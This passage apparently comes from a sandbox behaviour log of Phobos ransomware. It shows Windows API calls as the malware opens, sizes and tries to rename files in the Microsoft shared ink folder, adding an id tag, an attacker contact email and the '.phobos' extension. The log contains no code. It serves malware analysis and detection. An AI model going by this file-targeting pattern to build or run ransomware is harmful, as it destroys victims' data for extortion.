(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.291] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=10240) returned 1 [0133.291] CloseHandle (hObject=0x300) returned 1 [0133.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0133.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.292] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.292] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=10240) returned 1 [0133.292] CloseHandle (hObject=0x300) returned 1 [0133.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0133.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.292] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.293] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=1700352) returned 1 [0133.293] CloseHandle (hObject=0x300) returned 1 [0133.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0133.293] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0133.293] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0 [0133.294] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.294] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=503808) returned 1 [0133.294] CloseHandle (hObject=0x300) returned 1 [0133.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0133.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.294] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.294] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=1540608) returned 1 [0133.294] CloseHandle (hObject=0x300) returned 1 [0133.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0133.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.295] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.295] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=6368768) returned 1 [0133.295] CloseHandle (hObject=0x300) returned 1 [0133.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0133.295] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0133.295] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0 [0133.295] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.296] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=51200) returned 1 [0133.296] CloseHandle (hObject=0x300) returned 1 [0133.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0133.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.296] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.296] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=1075712) returned 1 [0133.296] CloseHandle (hObject=0x300) returned 1 [0133.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0133.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.296] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.297] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=10240) returned 1 [0133.297] CloseHandle (hObject=0x300) returned 1 [0133.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0133.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.297] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.297] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=10240) returned 1 [0133.297] CloseHandle (hObject=0x300) returned 1 [0133.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0133.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.298] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.298] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=10240) returned 1 [0133.298] CloseHandle (hObject=0x300) returned 1 [0133.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0133.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.298] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.298] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=10752) returned 1 [0133.298] CloseHandle (hObject=0x300) returned 1 [0133.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0133.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.299] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.299] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=10752) returned 1 [0133.299] CloseHandle (hObject=0x300) returned 1 [0133.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0133.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.299] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.300] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=10752) returned 1 [0133.300] CloseHandle (hObject=0x300) returned 1 [0133.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0133.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.300] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.300] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=177664) returned 1 [0133.300] CloseHandle (hObject=0x300) returned 1 [0133.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0133.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.301] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.301] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=10240) returned 1 [0133.301] CloseHandle (hObject=0x300) returned 1 [0133.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0133.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.301] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.301] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=733696) returned 1 [0133.301] CloseHandle (hObject=0x300) returned 1 [0133.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0133.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 